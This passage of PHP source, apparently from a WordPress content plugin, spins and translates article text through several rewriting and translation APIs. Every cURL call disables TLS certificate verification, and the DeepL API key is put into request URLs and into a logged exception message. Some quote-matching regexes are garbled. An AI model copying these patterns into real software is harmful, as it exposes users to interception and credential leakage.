            	sort($nospin_nums);
            	$nospin_nums = array_reverse($nospin_nums);
            	$capped = array();
            	if($opt === true){
            		preg_match_all("{\b[A-Z][a-z']+\b[,]?}", $article,$matches_cap);
            		$capped = $matches_cap[0];
            		sort($capped);
            		$capped=array_reverse($capped);
            	}
            	$curly_quote = array();
            	if($opt === true){
            		preg_match_all('{???.*????}', $article, $matches_curly_txt);
            		$curly_quote = $matches_curly_txt[0];
            		preg_match_all('{???.*????}', $article, $matches_curly_txt_s);
            		$single_curly_quote = $matches_curly_txt_s[0];
            		preg_match_all('{".*?"}', $article, $matches_curly_txt_s_and);
            		$single_curly_quote_and = $matches_curly_txt_s_and[0];
            		preg_match_all('{“.*?”}', $article, $matches_curly_txt_s_and_num);
            		$single_curly_quote_and_num = $matches_curly_txt_s_and_num[0];
            		$curly_quote_regular = array();
            		preg_match_all('{".*?"}', $article, $matches_curly_txt_regular);
                    $curly_quote_regular = $matches_curly_txt_regular[0];
            		$curly_quote = array_merge($curly_quote , $single_curly_quote ,$single_curly_quote_and,$single_curly_quote_and_num,$curly_quote_regular);
            	}
            	$htmlfounds = array_merge($nospin, $shortcodes, $js, $htmlurls, $htmlfounds, $curly_quote, $urls_txt, $nospin_nums, $capped);
            	$htmlfounds = array_filter(array_unique($htmlfounds));
            	$i=1;
            	foreach($htmlfounds as $htmlfound){
            		$article = str_replace($htmlfound, '(' . $dymmy_char . $i . $dymmy_char . ')', $article);	
            		$i++;
            	}
                $article = str_replace(':(' . $dymmy_char, ': (' . $dymmy_char, $article);
            	return $article;
            }
            function aiomatic_restoreAIExecludes($article, $htmlfounds, $dymmy_char = 'x'){
            	$i=1;
            	foreach($htmlfounds as $htmlfound){
            		$article=str_replace( '(' . $dymmy_char . $i . $dymmy_char . ')', $htmlfound, $article);
            		$i++;
            	}
            	$article = str_replace(array('[nospin]','[/nospin]'), '', $article);
            	return $article;
            }
            function aiomatic_fix_spinned_content($final_content, $spinner)
            {
                if ($spinner == 'wordai') {
                    $final_content = str_replace('-LRB-', '(', $final_content);
                    $final_content1 = preg_replace("/{\*\|.*?}/", '*', $final_content);
                    if($final_content1 !== null)
                    {
                        $final_content = $final_content1;
                    }
                }
                elseif ($spinner == 'spinnerchief') {
                    $final_content = preg_replace('#\[[\s\\\/]*([\d]*?)[\s\\\/]*\[#', '[$1]', $final_content);
                    $final_content = preg_replace('#\][\s\\\/]*([\d]*?)[\s\\\/]*\]#', '[$1]', $final_content);
                    $final_content = preg_replace('#\[[\s\\\/]*([\d]*?)[\s\\\/]*\]#', '[$1]', $final_content);
                }
                elseif ($spinner == 'spinrewriter' || $spinner == 'translate') {
                    $final_content = str_replace('& #', '&#', $final_content);
                    $final_content = preg_replace('#&\s([a-zA-Z]+?);#', '', $final_content);
                }
                return $final_content;
            }
            function aiomatic_spin_and_translate($post_title, $final_content, $methodtouse = '1', $skip_spin = '0', $skip_translate = '0')
            {
                $translation = false;
                $pre_tags_matches = array();
                $pre_tags_matches_s = array();
                $conseqMatchs = array();
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if($skip_spin != '1')
                {
                    if($methodtouse == '1' || $methodtouse == '3')
                    {
                        if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') {
                            
                            $htmlfounds = array();
                            $final_content = aiomatic_replaceExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                            if ($aiomatic_Main_Settings['spin_text'] == 'builtin') {
                                $translation = aiomatic_builtin_spin_text($post_title, $final_content);
                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'wikisynonyms') {
                                $translation = aiomatic_spin_text($post_title, $final_content, false);
                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'freethesaurus') {
                                $translation = aiomatic_spin_text($post_title, $final_content, true);
                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'best') {
                                $translation = aiomatic_best_spin_text($post_title, $final_content);
                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'wordai') {
                                $translation = aiomatic_wordai_spin_text($post_title, $final_content);
                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'spinrewriter') {
                                $translation = aiomatic_spinrewriter_spin_text($post_title, $final_content);
                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'spinnerchief') {
                                $translation = aiomatic_spinnerchief_spin_text($post_title, $final_content);
                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'chimprewriter') {
                                $translation = aiomatic_chimprewriter_spin_text($post_title, $final_content);
                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'contentprofessor') {
                                $translation = aiomatic_contentprofessor_spin_text($post_title, $final_content);
                            }
                            if ($translation !== FALSE) {
                                if (is_array($translation) && isset($translation[0]) && isset($translation[1])) {
                                    if (!isset($aiomatic_Main_Settings['no_title']) || $aiomatic_Main_Settings['no_title'] != 'on') {
                                        $final_content = $translation[1];
                                    }
                                    $post_title    = $translation[0];
                                    
                                    $final_content = aiomatic_fix_spinned_content($final_content, $aiomatic_Main_Settings['spin_text']);
                                    $final_content = aiomatic_restoreExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                    
                                } else {
                                    $final_content = aiomatic_restoreExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Text Spinning failed - malformed data ' . $aiomatic_Main_Settings['spin_text']);
                                    }
                                }
                            } else {
                                $final_content = aiomatic_restoreExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('Text Spinning Failed - returned false ' . $aiomatic_Main_Settings['spin_text']);
                                }
                            }
                        }
                    }
                }
                if($skip_translate != '1')
                {
                    if($methodtouse == '2' || $methodtouse == '3')
                    {
                        if (isset($aiomatic_Main_Settings['translate']) && $aiomatic_Main_Settings['translate'] != 'disabled') {
                            if(isset($aiomatic_Main_Settings['translate_source']) && $aiomatic_Main_Settings['translate_source'] != 'disabled')
                            {
                                $tr = $aiomatic_Main_Settings['translate_source'];
                            }
                            else
                            {
                                $tr = 'auto';
                            }
                            $htmlfounds = array();
                            $final_content = aiomatic_replaceExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                            $translation = aiomatic_translate($post_title, $final_content, $tr, $aiomatic_Main_Settings['translate']);
                            if (is_array($translation) && isset($translation[1]))
                            {
                                $translation[1] = preg_replace('#(?<=[\*(])\s+(?=[\*)])#', '', $translation[1]);
                                $translation[1] = preg_replace('#([^(*\s]\s)\*+\)#', '$1', $translation[1]);
                                $translation[1] = preg_replace('#\(\*+([\s][^)*\s])#', '$1', $translation[1]);
                                if(isset($aiomatic_Main_Settings['second_translate']) && $aiomatic_Main_Settings['second_translate'] != 'disabled')
                                {
                                    $translation = aiomatic_translate($translation[0], $translation[1], $aiomatic_Main_Settings['translate'], $aiomatic_Main_Settings['second_translate']);
                                    if (is_array($translation) && isset($translation[1]))
                                    {
                                        $translation[1] = aiomatic_restoreExcludes($translation[1], $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                    }
                                    else
                                    {
                                        $final_content = aiomatic_restoreExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                        $translation = false;
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Failed to translate text the second time, from ' . $aiomatic_Main_Settings['translate'] . ' to ' . $aiomatic_Main_Settings['second_translate']);
                                        }
                                    }
                                }
                                else
                                {
                                    $translation[1] = aiomatic_restoreExcludes($translation[1], $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                }
                            }
                            else
                            {
                                $final_content = aiomatic_restoreExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                            }
                            if ($translation !== FALSE) {
                                if (is_array($translation) && isset($translation[0]) && isset($translation[1])) {
                                    $post_title    = $translation[0];
                                    $final_content = $translation[1];
                                    $final_content = str_replace('</ iframe>', '</iframe>', $final_content);
                                    if(stristr($final_content, '<head>') !== false)
                                    {
                                        $d = new DOMDocument;
                                        $mock = new DOMDocument;
                                        $internalErrors = libxml_use_internal_errors(true);
                                        $d->loadHTML('<?xml encoding="utf-8" ?>' . $final_content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
                                        libxml_use_internal_errors($internalErrors);
                                        $body = $d->getElementsByTagName('body')->item(0);
                                        foreach ($body->childNodes as $child)
                                        {
                                            $mock->appendChild($mock->importNode($child, true));
                                        }
                                        $new_post_content_temp = $mock->saveHTML();
                                        if($new_post_content_temp !== '' && $new_post_content_temp !== false)
                                        {
                                            $new_post_content_temp = str_replace('<?xml encoding="utf-8" ?>', '', $new_post_content_temp);
                                            $final_content = preg_replace("/_addload\(function\(\){([^<]*)/i", "", $new_post_content_temp); 
                                        }
                                    }
                                    $final_content = htmlspecialchars_decode($final_content);
                                    $final_content = str_replace('</ ', '</', $final_content);
                                    $final_content = str_replace(' />', '/>', $final_content);
                                    $final_content = str_replace('< br/>', '<br/>', $final_content);
                                    $final_content = str_replace('< / ', '</', $final_content);
                                    $final_content = str_replace(' / >', '/>', $final_content);
                                    $final_content = preg_replace('/[\x00-\x1F\x7F\xA0]/u', '', $final_content);
                                    $post_title = preg_replace('{&\s*#\s*(\d+)\s*;}', '&#$1;', $post_title);
                                    $post_title = htmlspecialchars_decode($post_title);
                                    $post_title = str_replace('</ ', '</', $post_title);
                                    $post_title = str_replace(' />', '/>', $post_title);
                                    $post_title = preg_replace('/[\x00-\x1F\x7F\xA0]/u', '', $post_title);
                                } else {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Translation failed - malformed data!');
                                    }
                                }
                            } else {
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('Translation Failed - returned false!');
                                }
                            }
                        }
                    }
                }
                return array(
                    $post_title,
                    $final_content
                );
            }
            function aiomatic_translate_stability($post_title)
            {
                $tr = 'auto';
                $translation = aiomatic_translate($post_title, 'test', $tr, 'en');
                if ($translation !== FALSE) 
                {
                    if (is_array($translation) && isset($translation[0]) && isset($translation[1])) 
                    {
                        $post_title = $translation[0];
                        $post_title = preg_replace('{&\s*#\s*(\d+)\s*;}', '&#$1;', $post_title);
                        $post_title = htmlspecialchars_decode($post_title);
                        $post_title = str_replace('</ ', '</', $post_title);
                        $post_title = str_replace(' />', '/>', $post_title);
                        $post_title = preg_replace('/[\x00-\x1F\x7F\xA0]/u', '', $post_title);
                    }
                }
                return $post_title;
            }
            function aiomatic_translate($title, $content, $from, $to)
            {
                $ch                     = FALSE;
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                try {
                    if($from == 'disabled')
                    {
                        if(strstr($to, '-') !== false && $to != 'zh-CN' && $to != 'zh-TW')
                        {
                            $from = 'auto-';
                        }
                        else
                        {
                            $from = 'auto';
                        }
                    }
                    if($from != 'en' && $from != 'EN-' && $from != 'en!' && $from == $to)
                    {
                        if(strstr($to, '-') !== false && $to != 'zh-CN' && $to != 'zh-TW')
                        {
                            $from = 'en-';
                        }
                        else
                        {
                            $from = 'en';
                        }
                    }
                    elseif(($from == 'en' || $from == 'EN-' || $from == 'en!') && $from == $to)
                    {
                        return false;
                    }
                    if(strstr($to, '!') !== false)
                    {
                        if (!isset($aiomatic_Main_Settings['bing_auth']) || trim($aiomatic_Main_Settings['bing_auth']) == '')
                        {
                            throw new Exception('You must enter a Microsoft Translator API key from plugin settings, to use this feature!');
                        }
                        require_once (dirname(__FILE__) . "/res/aiomatic-translator-microsoft.php");
                        $options    = array(
                            CURLOPT_RETURNTRANSFER => true,
                            CURLOPT_FOLLOWLOCATION => true,
                            CURLOPT_CONNECTTIMEOUT => 10,
                            CURLOPT_TIMEOUT => 300,
                            CURLOPT_MAXREDIRS => 10,
                            CURLOPT_SSL_VERIFYHOST => 0,
                            CURLOPT_SSL_VERIFYPEER => 0
                        );
                        $ch = curl_init();
                        if ($ch === FALSE) {
                            aiomatic_log_to_file ('Failed to init curl in Microsoft Translator');
            				return false;
                        }
                        if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
            				$prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                            $randomness = array_rand($prx);
                            $options[CURLOPT_PROXY] = trim($prx[$randomness]);
                            if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                            {
                                $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                {
                                    $options[CURLOPT_PROXYUSERPWD] = trim($prx_auth[$randomness]);
                                }
                            }
                        }
                        curl_setopt_array($ch, $options);
            			$MicrosoftTranslator = new MicrosoftTranslator ( $ch );	
            			try 
                        {
                            if (!isset($aiomatic_Main_Settings['bing_region']) || trim($aiomatic_Main_Settings['bing_region']) == '')
                            {
                                $mt_region = 'global';
                            }
                            else
                            {
                                $mt_region = trim($aiomatic_Main_Settings['bing_region']);
                            }
                            if($from == 'auto' || $from == 'auto-' || $from == 'disabled')
                            {
                                $from = 'no';
                            }
            				$accessToken = $MicrosoftTranslator->getToken ( trim($aiomatic_Main_Settings['bing_auth']) , $mt_region  );
                            $from = trim($from, '!');
                            $to = trim($to, '!');
            				$translated = $MicrosoftTranslator->translateWrap ( $content, $from, $to );
                            $translated_title = $MicrosoftTranslator->translateWrap ( $title, $from, $to );
                            curl_close($ch);
            			} 
                        catch ( Exception $e ) 
                        {
                            curl_close($ch);
            				aiomatic_log_to_file ('Microsoft Translation error: ' . $e->getMessage());
            				return false;
            			}
                    }
                    elseif(strstr($to, '-') !== false && $to != 'zh-CN' && $to != 'zh-TW')
                    {
                        if (!isset($aiomatic_Main_Settings['deepl_auth']) || trim($aiomatic_Main_Settings['deepl_auth']) == '')
                        {
                            throw new Exception('You must enter a DeepL API key from plugin settings, to use this feature!');
                        }
                        $to = rtrim($to, '-');
                        $from = rtrim($from, '-');
                        if(strlen($content) > 13000)
                        {
                            $translated = '';
                            while($content != '')
                            {
                                $first30k = substr($content, 0, 13000);
                                $content = substr($content, 13000);
                                if (isset($aiomatic_Main_Settings['deppl_free']) && trim($aiomatic_Main_Settings['deppl_free']) == 'on')
                                {
                                    $ch = curl_init('https://api-free.deepl.com/v2/translate');
                                }
                                else
                                {
                                    $ch = curl_init('https://api.deepl.com/v2/translate');
                                }
                                if($ch !== false)
                                {
                                    $data           = array();
                                    $data['text']   = $first30k;
                                    if($from != 'auto')
                                    {
                                        $data['source_lang']   = $from;
                                    }
                                    $data['tag_handling']  = 'xml';
                                    $data['non_splitting_tags']  = 'div';
                                    $data['preserve_formatting']  = '1';
                                    $data['target_lang']   = $to;
                                    $data['auth_key']   = trim($aiomatic_Main_Settings['deepl_auth']);
                                    $fdata = "";
                                    foreach ($data as $key => $val) {
                                        $fdata .= "$key=" . urlencode(trim($val)) . "&";
                                    }
                                    $headers = [
                                        'Content-Type: application/x-www-form-urlencoded',
                                        'Content-Length: ' . strlen($fdata)
                                    ];
                                    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
                                    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
                                    curl_setopt($ch, CURLOPT_POST, 1);
                                    curl_setopt($ch, CURLOPT_USERAGENT, aiomatic_get_random_user_agent());
                                    curl_setopt($ch, CURLOPT_POSTFIELDS, $fdata);
                                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                                    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                                    if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                                    {
                                        $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                                    }
                                    else
                                    {
                                        $ztime = 300;
                                    }
                                    curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                                    $translated_temp = curl_exec($ch);
                                    if($translated_temp === false)
                                    {
                                        throw new Exception('Failed to post to DeepL: ' . curl_error($ch));
                                    }
                                    curl_close($ch);
                                }
                                $trans_json = json_decode($translated_temp, true);
                                if($trans_json === null)
                                {
                                    throw new Exception('Incorrect multipart response from DeepL: ' . $translated_temp);
                                }
                                if(!isset($trans_json['translations'][0]['text']))
                                {
                                    throw new Exception('Unrecognized multipart response from DeepL: ' . $translated_temp);
                                }
                                $translated .= ' ' . $trans_json['translations'][0]['text'];
                            }
                        }
                        else
                        {
                            if (isset($aiomatic_Main_Settings['deppl_free']) && trim($aiomatic_Main_Settings['deppl_free']) == 'on')
                            {
                                $ch = curl_init('https://api-free.deepl.com/v2/translate');
                            }
                            else
                            {
                                $ch = curl_init('https://api.deepl.com/v2/translate');
                            }
                            if($ch !== false)
                            {
                                $data           = array();
                                $data['text']   = $content;
                                if($from != 'auto')
                                {
                                    $data['source_lang']   = $from;
                                }
                                $data['tag_handling']  = 'xml';
                                $data['non_splitting_tags']  = 'div';
                                $data['preserve_formatting']  = '1';
                                $data['target_lang']   = $to;
                                $data['auth_key']   = trim($aiomatic_Main_Settings['deepl_auth']);
                                $fdata = "";
                                foreach ($data as $key => $val) {
                                    $fdata .= "$key=" . urlencode(trim($val)) . "&";
                                }
                                curl_setopt($ch, CURLOPT_POST, 1);
                                $headers = [
                                    'Content-Type: application/x-www-form-urlencoded',
                                    'Content-Length: ' . strlen($fdata)
                                ];
                                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
                                curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
                                curl_setopt($ch, CURLOPT_POSTFIELDS, $fdata);
                                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                                curl_setopt($ch, CURLOPT_USERAGENT, aiomatic_get_random_user_agent());
                                curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                                if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                                {
                                    $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                                }
                                else
                                {
                                    $ztime = 300;
                                }
                                curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                                $translated = curl_exec($ch);
                                if($translated === false)
                                {
                                    throw new Exception('Failed to post to DeepL: ' . curl_error($ch));
                                }
                                curl_close($ch);
                            }
                            $trans_json = json_decode($translated, true);
                            if($trans_json === null)
                            {
                                throw new Exception('Incorrect text response from DeepL: ' . $translated);
                            }
                            if(!isset($trans_json['translations'][0]['text']))
                            {
                                throw new Exception('Unrecognized text response from DeepL: ' . 'https://api.deepl.com/v2/translate?text=' . urlencode($content) . '&source_lang=' . $from . '&target_lang=' . $to . '&auth_key=' . trim($aiomatic_Main_Settings['deepl_auth']) . '&tag_handling=xml&preserve_formatting=1' . ' --- ' . $translated);
                            }
                            $translated = $trans_json['translations'][0]['text'];
                        }
                        $translated = str_replace('<strong>', ' <strong>', $translated);
                        $translated = str_replace('</strong>', '</strong> ', $translated);
                        if($from != 'auto')
                        {
                            $from_from = '&source_lang=' . $from;
                        }
                        else
                        {
                            $from_from = '';
                        }
                        if (isset($aiomatic_Main_Settings['deppl_free']) && trim($aiomatic_Main_Settings['deppl_free']) == 'on')
                        {
                            $translated_title = aiomatic_get_web_page('https://api-free.deepl.com/v2/translate?text=' . urlencode($title) . $from_from . '&target_lang=' . $to . '&auth_key=' . trim($aiomatic_Main_Settings['deepl_auth']) . '&tag_handling=xml&preserve_formatting=1');
                        }
                        else
                        {
                            $translated_title = aiomatic_get_web_page('https://api.deepl.com/v2/translate?text=' . urlencode($title) . $from_from . '&target_lang=' . $to . '&auth_key=' . trim($aiomatic_Main_Settings['deepl_auth']) . '&tag_handling=xml&preserve_formatting=1');
                        }
                        $trans_json = json_decode($translated_title, true);
                        if($trans_json === null)
                        {
                            throw new Exception('Incorrect title response from DeepL: ' . $translated_title);
                        }
                        if(!isset($trans_json['translations'][0]['text']))
                        {
                            throw new Exception('Unrecognized title response from DeepL: ' . $translated_title);
                        }
                        $translated_title = $trans_json['translations'][0]['text'];
                    }
                    else
                    {
                        if (isset($aiomatic_Main_Settings['google_trans_auth']) && trim($aiomatic_Main_Settings['google_trans_auth']) != '')
                        {
                            require_once(dirname(__FILE__) . "/res/translator-api.php");
                            $ch = curl_init();
                            if ($ch === FALSE) {
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('Failed to init cURL in translator!');
                                }
                                return false;
                            }
                            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                            if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                            {
                                $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                            }
                            else
                            {
                                $ztime = 300;
                            }
                            curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                            $GoogleTranslatorAPI = new GoogleTranslatorAPI($ch, $aiomatic_Main_Settings['google_trans_auth']);
                            $translated = '';
                            $translated_title = '';
                            if($content != '')
                            {
                                if(strlen($content) > 13000)
                                {
                                    while($content != '')
                                    {
                                        $first30k = substr($content, 0, 13000);
                                        $content = substr($content, 13000);
                                        $translated_temp       = $GoogleTranslatorAPI->translateText($first30k, $from, $to);
                                        $translated .= ' ' . $translated_temp;
                                    }
                                }
                                else
                                {
                                    $translated       = $GoogleTranslatorAPI->translateText($content, $from, $to);
                                }
                            }
                            if($title != '')
                            {
                                $translated_title = $GoogleTranslatorAPI->translateText($title, $from, $to);
                            }
                            curl_close($ch);
                        }
                        else
                        {
                            require_once(dirname(__FILE__) . "/res/aiomatic-translator.php");
                            $ch = curl_init();
                            if ($ch === FALSE) {
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('Failed to init cURL in translator!');
                                }
                                return false;
                            }
                            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                            if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                            {
                                $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                            }
                            else
                            {
                                $ztime = 300;
                            }
                            curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                            curl_setopt($ch, CURLOPT_USERAGENT, aiomatic_get_random_user_agent());
            				if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
            					$prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
            					$randomness = array_rand($prx);
            					curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness]));
            					if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
            					{
            						$prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
            						if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
            						{
            							curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]) );
            						}
            					}
            				}
            				$GoogleTranslator = new GoogleTranslator($ch);
                            if(strlen($content) > 13000)
                            {
                                $translated = '';
                                while($content != '')
                                {
                                    $first30k = substr($content, 0, 13000);
                                    $content = substr($content, 13000);
                                    $translated_temp       = $GoogleTranslator->translateText($first30k, $from, $to);
                                    if (strpos($translated, '<h2>The page you have attempted to translate is already in ') !== false) {
                                        throw new Exception('Page content already in ' . $to);
                                    }
                                    if (strpos($translated, 'Error 400 (Bad Request)!!1') !== false) {
                                        throw new Exception('Unexpected error while translating page!');
                                    }
                                    if(substr_compare($translated_temp, '</pre>', -strlen('</pre>')) === 0){$translated_temp = substr_replace($translated_temp ,"", -6);}if(substr( $translated_temp, 0, 5 ) === "<pre>"){$translated_temp = substr($translated_temp, 5);}
                                    $translated .= ' ' . $translated_temp;
                                }
                            }
                            else
                            {
                                $translated       = $GoogleTranslator->translateText($content, $from, $to);
                                if (strpos($translated, '<h2>The page you have attempted to translate is already in ') !== false) {
                                    throw new Exception('Page content already in ' . $to);
                                }
                                if (strpos($translated, 'Error 400 (Bad Request)!!1') !== false) {
                                    throw new Exception('Unexpected error while translating page!');
                                }
                            }
                            $translated_title = $GoogleTranslator->translateText($title, $from, $to);
                            if (strpos($translated_title, '<h2>The page you have attempted to translate is already in ') !== false) {
                                throw new Exception('Page title already in ' . $to);
                            }
                            if (strpos($translated_title, 'Error 400 (Bad Request)!!1') !== false) {
                                throw new Exception('Unexpected error while translating page title!');
                            }
                            curl_close($ch);
                        }
                    }
                }
                catch (Exception $e) {
                    curl_close($ch);
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('Exception thrown in GoogleTranslator ' . $e);
                    }
                    return false;
                }
                if(substr_compare($translated_title, '</pre>', -strlen('</pre>')) === 0){$title = substr_replace($translated_title ,"", -6);}else{$title = $translated_title;}if(substr( $title, 0, 5 ) === "<pre>"){$title = substr($title, 5);}
                if(substr_compare($translated, '</pre>', -strlen('</pre>')) === 0){$text = substr_replace($translated ,"", -6);}else{$text = $translated;}if(substr( $text, 0, 5 ) === "<pre>"){$text = substr($text, 5);}
                $text  = preg_replace('/' . preg_quote('html lang=') . '.*?' . preg_quote('>') . '/', '', $text);
                $text  = preg_replace('/' . preg_quote('!DOCTYPE') . '.*?' . preg_quote('<') . '/', '', $text);
                $text  = preg_replace('#https:\/\/translate\.google\.com\/translate\?hl=en&prev=_t&sl=en&tl=pl&u=([^><"\'\s\n]*)#i', urldecode('$1'), $text);
                return array(
                    $title,
                    $text
                );
            }
            function aiomatic_wordai_spin_text($title, $content)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (!isset($aiomatic_Main_Settings['best_user']) || $aiomatic_Main_Settings['best_user'] == '' || !isset($aiomatic_Main_Settings['best_password']) || $aiomatic_Main_Settings['best_password'] == '') {
                    aiomatic_log_to_file('Please insert a valid "Wordai" user name and password.');
                    return FALSE;
                }
                $titleSeparator   = '[19459000]';
                $quality = 'Readable';
                $html             = $title . ' ' . $titleSeparator . ' ' . $content;
                $email = $aiomatic_Main_Settings['best_user'];
                $pass = $aiomatic_Main_Settings['best_password'];
                $html = urlencode($html);
                $ch = curl_init('https://wai.wordai.com/api/rewrite');
                if($ch === false)
                {
                    aiomatic_log_to_file('Failed to init curl in wordai spinning.');
                    return FALSE;
                }
                curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt ($ch, CURLOPT_POST, 1);
                curl_setopt ($ch, CURLOPT_POSTFIELDS, "input=$html&uniqueness=2&rewrite_num=1&return_rewrites=true&email=$email&key=$pass");
            	curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
                curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                {
                    $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                }
                else
                {
                    $ztime = 300;
                }
                curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                $result = curl_exec($ch);
                if ($result === FALSE) {
                    aiomatic_log_to_file('"Wordai" failed to exec curl after auth: ' . curl_error($ch));
                    curl_close ($ch);
                    return FALSE;
                }
                curl_close ($ch);
                $result = json_decode($result);
                if(!isset($result->rewrites))
                {
                    aiomatic_log_to_file('"Wordai" unrecognized response: ' . print_r($result, true));
                    return FALSE;
                }
                $result = explode($titleSeparator, $result->rewrites[0]);
                if (count($result) < 2) {
                    $result[1] = $result[0];
                    $result[0] = $title;
                }
                return $result;
            }
            function aiomatic_chimprewriter_spin_text($title, $content)
            {
                $titleSeparator = '[19459000]';
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (!isset($aiomatic_Main_Settings['best_user']) || $aiomatic_Main_Settings['best_user'] == '' || !isset($aiomatic_Main_Settings['best_password']) || $aiomatic_Main_Settings['best_password'] == '') {
                    aiomatic_log_to_file('Please insert a valid "ChimpRewriter" user email and password.');
                    return FALSE;
                }
                $usr = $aiomatic_Main_Settings['best_user'];
                $pss = $aiomatic_Main_Settings['best_password'];
                $html = stripslashes($title). ' ' . $titleSeparator . ' ' . stripslashes($content);
            	$ch = curl_init();
            	curl_setopt($ch, CURLOPT_HEADER,0);
            	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                {
                    $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                }
                else
                {
                    $ztime = 300;
                }
